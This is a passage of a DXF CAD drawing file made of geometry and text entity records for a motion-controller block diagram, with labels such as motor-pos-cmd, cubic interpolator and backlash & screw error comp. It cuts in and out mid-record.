19.1 30 0.0 0 VERTEX 8 STANDARD 62 7 5 69 10 -14.0 20 19.1 30 0.0 0 VERTEX 8 STANDARD 62 7 5 6A 10 -14.0 20 19.1 30 0.0 0 SEQEND 8 0 5 6B 0 TEXT 8 STANDARD 62 7 5 6C 10 -14.9575 20 17.85 30 0.0 40 0.1 1 pos-lim-sw-in 7 STYLE1 72 1 11 -14.6 21 17.9 31 0.0 73 2 0 TEXT 8 STANDARD 62 7 5 6D 10 -14.9575 20 17.55 30 0.0 40 0.1 1 neg-lim-sw-in 7 STYLE1 72 1 11 -14.6 21 17.6 31 0.0 73 2 0 TEXT 8 STANDARD 62 7 5 6E 10 -14.985 20 16.95 30 0.0 40 0.1 1 index-pulse-in 7 STYLE1 72 1 11 -14.6 21 17.0 31 0.0 73 2 0 TEXT 8 STANDARD 62 7 5 6F 10 -14.93 20 16.25 30 0.0 40 0.1 1 amp-fault-in 7 STYLE1 72 1 11 -14.6 21 16.3 31 0.0 73 2 0 TEXT 8 STANDARD 62 7 5 70 10 -14.875 20 17.25 30 0.0 40 0.1 1 home-sw-in 7 STYLE1 72 1 11 -14.6 21 17.3 31 0.0 73 2 0 TEXT 8 STANDARD 62 7 5 71 10 -14.93 20 22.35 30 0.0 40 0.1 1 motor-pos-fb 7 STYLE1 72 1 11 -14.6 21 22.4 31 0.0 73 2 0 TEXT 8 STANDARD 62 7 5 72 10 -14.985 20 16.55 30 0.0 40 0.1 1 amp-enable-out 7 STYLE1 72 1 11 -14.6 21 16.6 31 0.0 73 2 0 TEXT 8 STANDARD 62 7 5 73 10 -14.9575 20 19.15 30 0.0 40 0.1 1 motor-pos-cmd 7 STYLE1 72 1 11 -14.6 21 19.2 31 0.0 73 2 0 TEXT 8 PARAMS 62 7 5 74 10 -22.53 20 20.75 30 0.0 40 0.1 1 free-pos-cmd 7 STYLE1 72 1 11 -22.2 21 20.8 31 0.0 73 2 0 TEXT 8 PARAMS 62 7 5 75 10 -22.53 20 20.35 30 0.0 40 0.1 1 free-vel-lim 7 STYLE1 72 1 11 -22.2 21 20.4 31 0.0 73 2 0 TEXT 8 PARAMS 62 7 5 76 10 -17.63 20 21.75 30 0.0 40 0.1 1 motor-offset 7 STYLE1 72 1 11 -17.3 21 21.8 31 0.0 73 2 0 TEXT 8 PARAMS 62 7 5 77 10 -17.4925 20 19.85 30 0.0 40 0.1 1 vel-cmd 7 STYLE1 72 1 11 -17.3 21 19.9 31 0.0 73 2 0 TEXT 8 PARAMS 62 7 5 78 10 -22.365 20 22.65 30 0.0 40 0.1 1 pos-fb 7 STYLE1 72 1 11 -22.2 21 22.7 31 0.0 73 2 0 TEXT 8 PARAMS 62 7 5 79 10 -22.475 20 19.45 30 0.0 40 0.1 1 coarse-pos 7 STYLE1 72 1 11 -22.2 21 19.5 31 0.0 73 2 0 TEXT 8 PARAMS 62 7 5 7A 10 -17.4925 20 19.45 30 0.0 40 0.1 1 pos-cmd 7 STYLE1 72 1 11 -17.3 21 19.5 31 0.0 73 2 0 POLYLINE 8 STANDARD 62 7 5 7B 66 1 10 0.0 20 0.0 30 0.0 70 1 0 VERTEX 8 STANDARD 62 7 5 7C 10 -21.3 20 18.9 30 0.0 0 VERTEX 8 STANDARD 62 7 5 7D 10 -21.3 20 19.5 30 0.0 0 VERTEX 8 STANDARD 62 7 5 7E 10 -20.3 20 19.5 30 0.0 0 VERTEX 8 STANDARD 62 7 5 7F 10 -20.3 20 18.9 30 0.0 0 VERTEX 8 STANDARD 62 7 5 80 10 -21.3 20 18.9 30 0.0 0 SEQEND 8 0 5 81 0 POLYLINE 8 STANDARD 62 7 5 82 66 1 10 0.0 20 0.0 30 0.0 70 1 0 VERTEX 8 STANDARD 62 7 5 83 10 -21.3 20 20.3 30 0.0 0 VERTEX 8 STANDARD 62 7 5 84 10 -21.3 20 20.9 30 0.0 0 VERTEX 8 STANDARD 62 7 5 85 10 -20.3 20 20.9 30 0.0 0 VERTEX 8 STANDARD 62 7 5 86 10 -20.3 20 20.3 30 0.0 0 VERTEX 8 STANDARD 62 7 5 87 10 -21.3 20 20.3 30 0.0 0 SEQEND 8 0 5 88 0 POLYLINE 8 STANDARD 62 7 5 89 66 1 10 0.0 20 0.0 30 0.0 70 1 0 VERTEX 8 STANDARD 62 7 5 8A 10 -17.8 20 20.3 30 0.0 0 VERTEX 8 STANDARD 62 7 5 8B 10 -17.8 20 20.9 30 0.0 0 VERTEX 8 STANDARD 62 7 5 8C 10 -16.8 20 20.9 30 0.0 0 VERTEX 8 STANDARD 62 7 5 8D 10 -16.8 20 20.3 30 0.0 0 VERTEX 8 STANDARD 62 7 5 8E 10 -17.8 20 20.3 30 0.0 0 SEQEND 8 0 5 8F 0 CIRCLE 8 STANDARD 62 7 5 90 10 -16.0 20 22.4 30 0.0 40 0.2 0 CIRCLE 8 STANDARD 62 7 5 91 10 -16.0 20 19.2 30 0.0 40 0.2 0 CIRCLE 8 STANDARD 62 7 5 92 10 -16.5 20 21.2 30 0.0 40 0.2 0 LINE 8 STANDARD 62 7 5 93 10 -16.0 20 22.4 30 0.0 11 -15.858579 21 22.541421 31 0.0 0 LINE 8 STANDARD 62 7 5 94 10 -16.0 20 19.2 30 0.0 11 -15.858579 21 19.341421 31 0.0 0 LINE 8 STANDARD 62 7 5 95 10 -16.5 20 21.2 30 0.0 11 -16.358579 21 21.341421 31 0.0 0 LINE 8 STANDARD 62 7 5 96 10 -16.0 20 22.4 30 0.0 11 -16.141421 21 22.541421 31 0.0 0 LINE 8 STANDARD 62 7 5 97 10 -16.0 20 19.2 30 0.0 11 -16.141421 21 19.341421 31 0.0 0 LINE 8 STANDARD 62 7 5 98 10 -16.5 20 21.2 30 0.0 11 -16.641421 21 21.341421 31 0.0 0 LINE 8 STANDARD 62 7 5 99 10 -16.0 20 22.4 30 0.0 11 -16.141421 21 22.258579 31 0.0 0 LINE 8 STANDARD 62 7 5 9A 10 -16.0 20 19.2 30 0.0 11 -16.141421 21 19.058579 31 0.0 0 LINE 8 STANDARD 62 7 5 9B 10 -16.5 20 21.2 30 0.0 11 -16.641421 21 21.058579 31 0.0 0 LINE 8 STANDARD 62 7 5 9C 10 -16.0 20 22.4 30 0.0 11 -15.858579 21 22.258579 31 0.0 0 LINE 8 STANDARD 62 7 5 9D 10 -16.0 20 19.2 30 0.0 11 -15.858579 21 19.058579 31 0.0 0 LINE 8 STANDARD 62 7 5 9E 10 -16.5 20 21.2 30 0.0 11 -16.358579 21 21.058579 31 0.0 0 LINE 8 STANDARD 62 7 5 9F 10 -16.05 20 19.32 30 0.0 11 -15.95 21 19.32 31 0.0 0 LINE 8 STANDARD 62 7 5 A0 10 -16.55 20 21.32 30 0.0 11 -16.45 21 21.32 31 0.0 0 LINE 8 STANDARD 62 7 5 A1 10 -16.0 20 19.37 30 0.0 11 -16.0 21 19.27 31 0.0 0 LINE 8 STANDARD 62 7 5 A2 10 -16.5 20 21.37 30 0.0 11 -16.5 21 21.27 31 0.0 0 LINE 8 STANDARD 62 7 5 A3 10 -16.17 20 19.2 30 0.0 11 -16.07 21 19.2 31 0.0 0 LINE 8 STANDARD 62 7 5 A4 10 -16.12 20 19.25 30 0.0 11 -16.12 21 19.15 31 0.0 0 LINE 8 STANDARD 62 7 5 A5 10 -16.5 20 21.13 30 0.0 11 -16.5 21 21.03 31 0.0 0 LINE 8 STANDARD 62 7 5 A6 10 -16.05 20 22.28 30 0.0 11 -15.95 21 22.28 31 0.0 0 LINE 8 STANDARD 62 7 5 A7 10 -16.55 20 21.08 30 0.0 11 -16.45 21 21.08 31 0.0 0 LINE 8 STANDARD 62 7 5 A8 10 -15.88 20 22.45 30 0.0 11 -15.88 21 22.35 31 0.0 0 LINE 8 STANDARD 62 7 5 A9 10 -15.93 20 22.4 30 0.0 11 -15.83 21 22.4 31 0.0 0 TEXT 8 STANDARD 62 7 5 AA 10 -18.5275 20 19.95 30 0.0 40 0.1 1 d 7 STYLE1 72 1 11 -18.5 21 20.0 31 0.0 73 2 0 TEXT 8 STANDARD 62 7 5 AB 10 -18.555 20 19.75 30 0.0 40 0.1 1 dT 7 STYLE1 72 1 11 -18.5 21 19.8 31 0.0 73 2 0 LINE 8 STANDARD 62 7 5 AC 10 -18.6 20 19.9 30 0.0 11 -18.4 21 19.9 31 0.0 0 CIRCLE 8 STANDARD 62 7 5 AD 10 -19.3 20 19.9 30 0.0 40 0.025 0 CIRCLE 8 STANDARD 62 7 5 AE 10 -19.7 20 20.1 30 0.0 40 0.025 0 CIRCLE 8 STANDARD 62 7 5 AF 10 -19.7 20 19.7 30 0.0 40 0.025 0 LINE 8 STANDARD 62 7 5 B0 10 -19.322361 20 19.91118 30 0.0 11 -19.677639 21 20.08882 31 0.0 0 POLYLINE 8 STANDARD 62 7 5 B1 66 1 10 0.0 20 0.0 30 0.0 0 VERTEX 8 STANDARD 62 7 5 B2 10 -19.322361 20 19.91118 30 0.0 0 VERTEX 8 STANDARD 62 7 5 B3 10 -19.385963 20 19.96286 30 0.0 0 VERTEX 8 STANDARD 62 7 5 B4 10 -19.401866 20 19.931055 30 0.0 0 VERTEX 8 STANDARD 62 7 5 B5 10 -19.322361 20 19.91118 30 0.0 0 SEQEND 8 0 5 B6 0 POLYLINE 8 STANDARD 62 7 5 B7 66 1 10 0.0 20 0.0 30 0.0 0 VERTEX 8 STANDARD 62 7 5 B8 10 -19.725 20 20.1 30 0.0 0 VERTEX 8 STANDARD 62 7 5 B9 10 -20.0 20 20.1 30 0.0 0 SEQEND 8 0 5 BA 0 POLYLINE 8 STANDARD 62 7 5 BB 66 1 10 0.0 20 0.0 30 0.0 0 VERTEX 8 STANDARD 62 7 5 BC 10 -19.725 20 20.1 30 0.0 0 VERTEX 8 STANDARD 62 7 5 BD 10 -19.805 20 20.11778 30 0.0 0 VERTEX 8 STANDARD 62 7 5 BE 10 -19.805 20 20.08222 30 0.0 0 VERTEX 8 STANDARD 62 7 5 BF 10 -19.725 20 20.1 30 0.0 0 SEQEND 8 0 5 C0 0 LINE 8 STANDARD 62 7 5 C1 10 -19.0 20 19.9 30 0.0 11 -19.275 21 19.9 31 0.0 0 POLYLINE 8 STANDARD 62 7 5 C2 66 1 10 0.0 20 0.0 30 0.0 0 VERTEX 8 STANDARD 62 7 5 C3 10 -19.0 20 19.9 30 0.0 0 VERTEX 8 STANDARD 62 7 5 C4 10 -19.08 20 19.91778 30 0.0 0 VERTEX 8 STANDARD 62 7 5 C5 10 -19.08 20 19.88222 30 0.0 0 VERTEX 8 STANDARD 62 7 5 C6 10 -19.0 20 19.9 30 0.0 0 SEQEND 8 0 5 C7 0 LINE 8 STANDARD 62 7 5 C8 10 -19.725 20 19.7 30 0.0 11 -20.0 21 19.7 31 0.0 0 POLYLINE 8 STANDARD 62 7 5 C9 66 1 10 0.0 20 0.0 30 0.0 0 VERTEX 8 STANDARD 62 7 5 CA 10 -19.725 20 19.7 30 0.0 0 VERTEX 8 STANDARD 62 7 5 CB 10 -19.805 20 19.71778 30 0.0 0 VERTEX 8 STANDARD 62 7 5 CC 10 -19.805 20 19.68222 30 0.0 0 VERTEX 8 STANDARD 62 7 5 CD 10 -19.725 20 19.7 30 0.0 0 SEQEND 8 0 5 CE 0 LINE 8 STANDARD 62 7 5 CF 10 -16.0 20 22.2 30 0.0 11 -16.0 21 19.4 31 0.0 0 POLYLINE 8 STANDARD 62 7 5 D0 66 1 10 0.0 20 0.0 30 0.0 0 VERTEX 8 STANDARD 62 7 5 D1 10 -16.0 20 22.2 30 0.0 0 VERTEX 8 STANDARD 62 7 5 D2 10 -16.01778 20 22.12 30 0.0 0 VERTEX 8 STANDARD 62 7 5 D3 10 -15.98222 20 22.12 30 0.0 0 VERTEX 8 STANDARD 62 7 5 D4 10 -16.0 20 22.2 30 0.0 0 SEQEND 8 0 5 D5 0 POLYLINE 8 STANDARD 62 7 5 D6 66 1 10 0.0 20 0.0 30 0.0 0 VERTEX 8 STANDARD 62 7 5 D7 10 -16.0 20 19.4 30 0.0 0 VERTEX 8 STANDARD 62 7 5 D8 10 -15.98222 20 19.48 30 0.0 0 VERTEX 8 STANDARD 62 7 5 D9 10 -16.01778 20 19.48 30 0.0 0 VERTEX 8 STANDARD 62 7 5 DA 10 -16.0 20 19.4 30 0.0 0 SEQEND 8 0 5 DB 0 LINE 8 STANDARD 62 7 5 DC 10 -15.8 20 22.4 30 0.0 11 -15.3 21 22.4 31 0.0 0 POLYLINE 8 STANDARD 62 7 5 DD 66 1 10 0.0 20 0.0 30 0.0 0 VERTEX 8 STANDARD 62 7 5 DE 10 -15.8 20 22.4 30 0.0 0 VERTEX 8 STANDARD 62 7 5 DF 10 -15.72 20 22.38222 30 0.0 0 VERTEX 8 STANDARD 62 7 5 E0 10 -15.72 20 22.41778 30 0.0 0 VERTEX 8 STANDARD 62 7 5 E1 10 -15.8 20 22.4 30 0.0 0 SEQEND 8 0 5 E2 0 LINE 8 STANDARD 62 7 5 E3 10 -15.3 20 19.2 30 0.0 11 -15.8 21 19.2 31 0.0 0 POLYLINE 8 STANDARD 62 7 5 E4 66 1 10 0.0 20 0.0 30 0.0 0 VERTEX 8 STANDARD 62 7 5 E5 10 -15.3 20 19.2 30 0.0 0 VERTEX 8 STANDARD 62 7 5 E6 10 -15.38 20 19.21778 30 0.0 0 VERTEX 8 STANDARD 62 7 5 E7 10 -15.38 20 19.18222 30 0.0 0 VERTEX 8 STANDARD 62 7 5 E8 10 -15.3 20 19.2 30 0.0 0 SEQEND 8 0 5 E9 0 LINE 8 STANDARD 62 7 5 EA 10 -16.0 20 21.2 30 0.0 11 -16.3 21 21.2 31 0.0 0 POLYLINE 8 STANDARD 62 7 5 EB 66 1 10 0.0 20 0.0 30 0.0 0 VERTEX 8 STANDARD 62 7 5 EC 10 -16.0 20 21.2 30 0.0 0 VERTEX 8 STANDARD 62 7 5 ED 10 -16.08 20 21.21778 30 0.0 0 VERTEX 8 STANDARD 62 7 5 EE 10 -16.08 20 21.18222 30 0.0 0 VERTEX 8 STANDARD 62 7 5 EF 10 -16.0 20 21.2 30 0.0 0 SEQEND 8 0 5 F0 0 TEXT 8 STANDARD 62 7 5 F1 10 -20.9375 20 19.225 30 0.0 40 0.1 1 cubic 7 STYLE1 72 1 11 -20.8 21 19.275 31 0.0 73 2 0 TEXT 8 STANDARD 62 7 5 F2 10 -21.13 20 19.075 30 0.0 40 0.1 1 interpolator 7 STYLE1 72 1 11 -20.8 21 19.125 31 0.0 73 2 0 TEXT 8 STANDARD 62 7 5 F3 10 -21.0475 20 20.7 30 0.0 40 0.1 1 free mode 7 STYLE1 72 1 11 -20.8 21 20.75 31 0.0 73 2 0 TEXT 8 STANDARD 62 7 5 F4 10 -21.075 20 20.55 30 0.0 40 0.1 1 trajectory 7 STYLE1 72 1 11 -20.8 21 20.6 31 0.0 73 2 0 TEXT 8 STANDARD 62 7 5 F5 10 -20.9925 20 20.4 30 0.0 40 0.1 1 planner 7 STYLE1 72 1 11 -20.8 21 20.45 31 0.0 73 2 0 TEXT 8 STANDARD 62 7 5 F6 10 -17.575 20 20.7 30 0.0 40 0.1 1 backlash & 7 STYLE1 72 1 11 -17.3 21 20.75 31 0.0 73 2 0 TEXT 8 STANDARD 62 7 5 F7 10 -17.6025 20 20.55 30 0.0 40 0.1 1 screw error 7 STYLE1 72 1 11 -17.3 21 20.6 31 0.0 73 2 0 TEXT 8 STANDARD 62 7 5 F8 10 -17.41 20 20.4 30 0.0 40 0.1 1 comp 7 STYLE1 72 1 11 -17.3 21 20.45 31 0.0 73 2 0 POLYLINE 8 STANDARD 62 7 5 F9 66 1 10 0.0 20 0.0 30 0.0 0 VERTEX 8 STANDARD 62 7 5 FA 10 -16.5 20 21.0 30 0.0 0 VERTEX 8 STANDARD 62 7 5 FB 10 -16.5 20 20.6 30 0.0 0 VERTEX 8 STANDARD 62 7 5 FC 10 -16.8 20 20.6 30 0.0 0 SEQEND 8 0 5 FD 0 POLYLINE 8 STANDARD 62 7 5 FE 66 1 10 0.0 20 0.0 30 0.0 0 VERTEX 8 STANDARD 62 7 5 FF 10 -16.5 20 21.0 30 0.0 0 VERTEX 8 STANDARD 62 7 5 100 10 -16.51778 20 20.92 30 0.0 0 VERTEX 8 STANDARD 62 7 5 101 10 -16.48222 20 20.92 30 0.0 0 VERTEX 8 STANDARD 62 7 5 102 10 -16.5 20 21.0 30 0.0 0 SEQEND 8 0 5 103 0 POLYLINE 8 STANDARD 62 7 5 104 66 1 10 0.0 20 0.0 30 0.0 0 VERTEX 8 STANDARD 62 7 5 105 10 -17.8 20 20.7 30 0.0 0 VERTEX 8 STANDARD 62 7 5 106 10 -19.0 20 20.7 30 0.0 0 VERTEX 8 STANDARD 62 7 5 107 10 -19.0 20 20.1 30 0.0 0 SEQEND 8 0 5 108 0 POLYLINE 8 STANDARD 62 7 5 109 66 1 10 0.0 20 0.0 30 0.0 0 VERTEX 8 STANDARD 62 7 5 10A 10 -17.8 20 20.7 30 0.0 0 VERTEX 8 STANDARD 62 7 5 10B 10 -17.88 20 20.71778 30 0.0 0 VERTEX 8 STANDARD 62 7 5 10C 10 -17.88 20 20.68222 30 0.0 0 VERTEX 8 STANDARD 62 7 5 10D 10 -17.8 20 20.7 30 0.0 0 SEQEND 8 0 5 10E 0 POLYLINE 8 STANDARD 62 7 5 10F 66 1 10 0.0 20 0.0 30 0.0 0 VERTEX 8 STANDARD 62 7 5 110 10 -19.0 20 20.1 30 0.0 0 VERTEX 8 STANDARD 62 7 5 111 10 -19.0 20 19.9 30 0.0 0 SEQEND 8 0 5 112 0 POLYLINE 8 STANDARD 62 7 5 113 66 1 10 0.0 20 0.0 30 0.0 0 VERTEX 8 STANDARD 62 7 5 114 10 -19.0 20 19.7 30 0.0 0 VERTEX 8 STANDARD 62 7 5 115 10 -19.0 20 19.2 30 0.0 0 SEQEND 8 0 5 116 0 POLYLINE 8 STANDARD 62 7 5 117 66 1 10 0.0 20 0.0 30 0.0 0 VERTEX 8 STANDARD 62 7 5 118 10 -16.2 20 19.2 30 0.0 0 VERTEX 8 STANDARD 62 7 5 119 10 -19.0 20 19.2 30 0.0 0 SEQEND 8 0 5 11A 0 POLYLINE 8 STANDARD 62 7 5 11B 66 1 10 0.0 20 0.0 30 0.0 0 VERTEX 8 STANDARD 62 7 5 11C 10 -16.2 20 19.2 30 0.0 0 VERTEX 8 STANDARD 62 7 5 11D 10 -16.28 20 19.21778 30 0.0 0 VERTEX 8 STANDARD 62 7 5 11E 10 -16.28 20 19.18222 30 0.0 0 VERTEX 8 STANDARD 62 7 5 11F 10 -16.2 20 19.2 30 0.0 0 SEQEND 8 0 5 120 0 POLYLINE 8 STANDARD 62 7 5 121 66 1 10 0.0 20 0.0 30 0.0 0 VERTEX 8 STANDARD 62 7 5 122 10 -22.8 20 19.5 30 0.0 0 VERTEX 8 STANDARD 62 7 5 123 10 -23.0 20 19.5 30 0.0 0 SEQEND 8 0 5 124 0 POLYLINE 8 STANDARD 62 7 5 125 66 1 10 0.0 20 0.0 30 0.0 0 VERTEX 8 STANDARD 62 7 5 126 10 -22.8 20 19.5 30 0.0 0 VERTEX 8 STANDARD 62 7 5 127 10 -22.88 20 19.51778 30 0.0 0 VERTEX 8 STANDARD 62 7 5 128 10 -22.88 20 19.48222 30 0.0 0 VERTEX 8 STANDARD 62 7 5 129 10 -22.8 20 19.5 30 0.0 0 SEQEND 8 0 5 12A 0 POLYLINE 8 STANDARD 62 7 5 12B 66 1 10 0.0 20 0.0 30 0.0 0 VERTEX 8 STANDARD 62 7 5 12C 10 -17.9 20 19.5 30 0.0 0 VERTEX 8 STANDARD 62 7 5 12D 10 -18.1 20 19.5 30 0.0 0 SEQEND 8 0 5 12E 0 POLYLINE 8 STANDARD 62 7 5 12F 66 1 10 0.0 20 0.0 30 0.0 0 VERTEX 8 STANDARD 62 7 5 130 10 -17.9 20 19.5 30 0.0 0 VERTEX 8 STANDARD 62 7 5 131 10 -17.98 20 19.51778 30 0.0 0 VERTEX 8 STANDARD 62 7 5 132 10 -17.98 20 19.48222 30 0.0 0 VERTEX 8 STANDARD 62 7 5 133 10 -17.9 20 19.5 30 0.0 0 SEQEND 8 0 5 134 0 POLYLINE 8 STANDARD 62 7 5 135 66 1 10 0.0 20 0.0 30 0.0 0 VERTEX 8 STANDARD 62 7 5 136 10 -16.5 20 21.4 30 0.0 0 VERTEX 8 STANDARD 62 7 5 137 10 -16.5 20 21.8 30 0.0 0 VERTEX 8 STANDARD 62 7 5 138 10 -16.7 20 21.8 30 0.0 0 SEQEND 8 0 5 139 0 POLYLINE 8 STANDARD 62 7 5 13A 66 1 10 0.0 20 0.0 30 0.0 0 VERTEX 8 STANDARD 62 7 5 13B 10 -16.5 20 21.4 30 0.0 0 VERTEX 8 STANDARD 62 7 5 13C 10 -16.48222 20 21.48 30 0.0 0 VERTEX 8 STANDARD 62 7 5 13D 10 -16.51778 20 21.48 30 0.0 0 VERTEX 8 STANDARD 62 7 5 13E 10 -16.5 20 21.4 30 0.0 0 SEQEND 8 0 5 13F 0 TEXT 8 STANDARD 62 7 5 140 10 -19.7475 20 20.25 30 0.0 40 0.1 1 free mode 7 STYLE1 72 1 11 -19.5 21 20.3 31 0.0 73 2 0 TEXT 8 STANDARD 62 7 5 141 10 -19.72 20 19.425 30 0.0 40 0.1 1 teleop & 7 STYLE1 72 1 11 -19.5 21 19.475 31 0.0 73 2 0 TEXT 8 STANDARD 62 7 5 142 10 -19.775 20 19.275 30 0.0 40 0.1 1 coord mode 7 STYLE1 72 1 11 -19.5 21 19.325 31 0.0 73 2 0 LINE 8 PARAMS 62 7 5 143 10 -17.9 20 19.8 30 0.0 11 -17.9 21 20.0 31 0.0 0 LINE 8 PARAMS 62 7 5 144 10 -17.9 20 20.0 30 0.0 11 -16.7 21 20.0 31 0.0 0 LINE 8 PARAMS 62 7 5 145 10 -16.7 20 20.0 30 0.0 11 -16.7 21 19.8 31 0.0 0 LINE 8 PARAMS 62 7 5 146 10 -16.7 20 19.8 30 0.0 11 -17.9 21 19.8 31 0.0 0 LINE 8 PARAMS 62 7 5 147 10 -22.8 20 22.6 30 0.0 11 -22.8 21 22.8 31 0.0 0 LINE 8 PARAMS 62 7 5 148 10 -22.8 20 22.8 30 0.0 11 -21.6 21 22.8 31 0.0 0 LINE 8 PARAMS 62 7 5 149 10 -21.6 20 22.8 30 0.0 11 -21.6 21 22.6 31 0.0 0 LINE 8 PARAMS 62 7 5 14A 10 -21.6 20 22.6 30 0.0 11 -22.8 21 22.6 31 0.0 0 LINE 8 PARAMS 62 7 5 14B 10 -22.8 20 19.4 30 0.0 11 -22.8 21 19.6 31 0.0 0 LINE 8 PARAMS 62 7 5 14C 10 -22.8 20 19.6 30 0.0 11 -21.6 21 19.6 31 0.0 0 LINE 8 PARAMS 62 7 5 14D 10 -21.6 20 19.6 30 0.0 11 -21.6 21 19.4 31 0.0 0 LINE 8 PARAMS 62 7 5 14E 10 -21.6 20 19.4 30 0.0 11 -22.8 21 19.4 31 0.0 0 LINE 8 PARAMS 62 7 5 14F 10 -17.9 20 19.4 30 0.0 11 -17.9 21 19.6 31 0.0 0 LINE 8 PARAMS 62 7 5 150 10 -17.9 20 19.6 30 0.0 11 -16.7 21 19.6 31 0.0 0 LINE 8 PARAMS 62 7 5 151 10 -16.7 20 19.6 30 0.0 11 -16.7 21 19.4 31 0.0 0 LINE 8 PARAMS 62 7 5 152 10 -16.7 20 19.4 30 0.0 11 -17.9 21 19.4 31 0.0 0 LINE 8 PARAMS 62 7 5 153 10 -22.8 20 20.7 30 0.0 11 -22.8 21 20.9 31 0.0 0 LINE 8 PARAMS 62 7 5 154 10 -22.8 20 20.9 30 0.0 11 -21.6 21 20.9 31 0.0 0 LINE 8 PARAMS 62 7 5 155 10 -21.6 20 20.9 30 0.0 11 -21.6 21 20.7 31 0.0 0 LINE 8 PARAMS 62 7 5 156 10 -21.6 20 20.7 30 0.0 11 -22.8 21 20.7 31 0.0 0 LINE 8 PARAMS 62 7 5 157 10 -22.8 20 20.3 30 0.0 11 -22.8 21 20.5 31 0.0 0 LINE 8 PARAMS 62 7 5 158 10 -22.8 20 20.5 30 0.0 11 -21.6 21 20.5 31 0.0 0 LINE 8 PARAMS 62 7 5 159 10 -21.6 20 20.5 30 0.0 11 -21.6 21 20.3 31 0.0 0 LINE 8 PARAMS 62 7 5 15A 10 -21.6 20 20.3 30 0.0 11 -22.8 21 20.3 31 0.0 0 LINE 8 PARAMS 62 7 5 15B 10 -17.9 20 21.7 30 0.0 11 -17.9 21 21.9 31 0.0 0 LINE 8 PARAMS 62 7 5 15C 10 -17.9 20 21.9 30 0.0 11 -16.7 21 21.9 31 0.0 0 LINE 8 PARAMS 62 7 5 15D 10 -16.7 20 21.9 30 0.0 11 -16.7 21 21.7 31 0.0 0 LINE 8 PARAMS 62 7 5 15E 10 -16.7 20 21.7 30 0.0 11 -17.9 21 21.7 31 0.0 0 LINE 8 STANDARD 62 7 5 15F 10 -20.0 20 19.2 30 0.0 11 -20.0 21 19.7 31 0.0 0 LINE 8 STANDARD 62 7 5 160 10 -20.0 20 20.1 30 0.0 11 -20.0 21 20.6 31 0.0 0 LINE 8 STANDARD 62 7 5 161 10 -20.0 20 19.2 30 0.0 11 -20.3 21 19.2 31 0.0 0 LINE 8 STANDARD 62 7 5 162 10 -20.0 20 20.6 30 0.0 11 -20.3 21 20.6 31 0.0 0 LINE 8 STANDARD 62 7 5 163 10 -21.3 20 20.8 30 0.0 11 -21.6 21 20.8 31 0.0 0 POLYLINE 8 STANDARD 62 7 5 164 66 1 10 0.0 20 0.0 30 0.0 0 VERTEX 8 STANDARD 62 7 5 165 10 -21.3 20 20.8 30 0.0 0 VERTEX 8 STANDARD 62 7 5 166 10 -21.38 20 20.81778 30 0.0 0 VERTEX 8 STANDARD 62 7 5 167 10 -21.38 20 20.78222 30 0.0 0 VERTEX 8 STANDARD 62 7 5 168 10 -21.3 20 20.8 30 0.0 0 SEQEND 8 0 5 169 0 LINE 8 STANDARD 62 7 5 16A 10 -21.3 20 20.4 30 0.0 11 -21.6 21 20.4 31 0.0 0 POLYLINE 8 STANDARD 62 7 5 16B 66 1 10 0.0 20 0.0 30 0.0 0 VERTEX 8 STANDARD 62 7 5 16C 10 -21.3 20 20.4 30 0.0 0 VERTEX 8 STANDARD 62 7 5 16D 10 -21.38 20 20.41778 30 0.0 0 VERTEX 8 STANDARD 62 7 5 16E 10 -21.38 20 20.38222 30 0.0 0 VERTEX 8 STANDARD 62 7 5 16F 10 -21.3 20 20.4 30 0.0 0 SEQEND 8 0 5 170 0 POLYLINE 8 STANDARD 62 7 5 171 66 1 10 0.0 20 0.0 30 0.0 70 1 0 VERTEX 8 STANDARD 62 7 5 172 10 -18.7 20 19.7 30 0.0 0 VERTEX 8 STANDARD 62 7 5 173 10 -18.7 20 20.1 30 0.0 0 VERTEX 8 STANDARD 62 7 5 174 10 -18.3 20 20.1 30 0.0 0 VERTEX 8 STANDARD 62 7 5 175 10 -18.3 20 19.7 30 0.0 0 VERTEX 8 STANDARD 62 7 5 176 10 -18.7 20 19.7 30 0.0 0 SEQEND 8 0 5 177 0 POLYLINE 8 STANDARD 62 7 5 178 66 1 10 0.0 20 0.0 30 0.0 0 VERTEX 8 STANDARD 62 7 5 179 10 -17.8 20 20.5 30 0.0 0 VERTEX 8 STANDARD 62 7 5 17A 10 -18.1 20 20.5 30 0.0 0 VERTEX 8 STANDARD 62 7 5 17B 10 -18.1 20 19.9 30 0.0 0 SEQEND 8 0 5 17C 0 POLYLINE 8 STANDARD 62 7 5 17D 66 1 10 0.0 20 0.0 30 0.0 0 VERTEX 8 STANDARD 62 7 5 17E 10 -17.8 20 20.5 30 0.0 0 VERTEX 8 STANDARD 62 7 5 17F 10 -17.88 20 20.51778 30 0.0 0 VERTEX 8 STANDARD 62 7 5 180 10 -17.88 20 20.48222 30 0.0 0 VERTEX 8 STANDARD 62 7 5 181 10 -17.8 20 20.5 30 0.0 0 SEQEND 8 0 5 182 0 POLYLINE 8 STANDARD 62 7 5 183 66 1 10 0.0 20 0.0 30 0.0 0 VERTEX 8 STANDARD 62 7 5 184 10 -17.9 20 19.9 30 0.0 0 VERTEX 8 STANDARD 62 7 5 185 10 -18.1 20 19.9 30 0.0 0 SEQEND 8 0 5 186 0 POLYLINE 8 STANDARD 62 7 5 187 66 1 10 0.0 20 0.0 30 0.0 0 VERTEX 8 STANDARD 62 7 5 188 10 -17.9 20 19.9 30 0.0 0 VERTEX 8 STANDARD 62 7 5 189 10 -17.98 20 19.91778 30 0.0 0 VERTEX 8 STANDARD 62 7 5 18A 10 -17.98 20 19.88222 30 0.0 0 VERTEX 8 STANDARD 62 7 5 18B 10 -17.9 20 19.9 30 0.0 0 SEQEND 8 0 5 18C 0 LINE 8 STANDARD 62 7 5 18D 10 -18.1 20 19.9 30 0.0 11 -18.3 21 19.9 31 0.0 0 POLYLINE 8 STANDARD 62 7 5 18E 66 1 10 0.0 20 0.0 30 0.0 0 VERTEX 8 STANDARD 62 7 5 18F 10 -18.1 20 19.9 30 0.0 0 VERTEX 8 STANDARD 62 7 5 190 10 -18.18 20 19.91778 30 0.0 0 VERTEX 8 STANDARD 62 7 5 191 10 -18.18 20 19.88222 30 0.0 0 VERTEX 8 STANDARD 62 7 5 192 10 -18.1 20 19.9 30 0.0 0 SEQEND 8 0 5 193 0 LINE 8 STANDARD 62 7 5 194 10 -18.7 20 19.9 30 0.0 11 -19.0 21 19.9 31 0.0 0 POLYLINE 8 STANDARD 62 7 5 195 66 1 10 0.0 20 0.0 30 0.0 0 VERTEX 8 STANDARD 62 7 5 196 10 -18.7 20 19.9 30 0.0 0 VERTEX 8 STANDARD 62 7 5 197 10 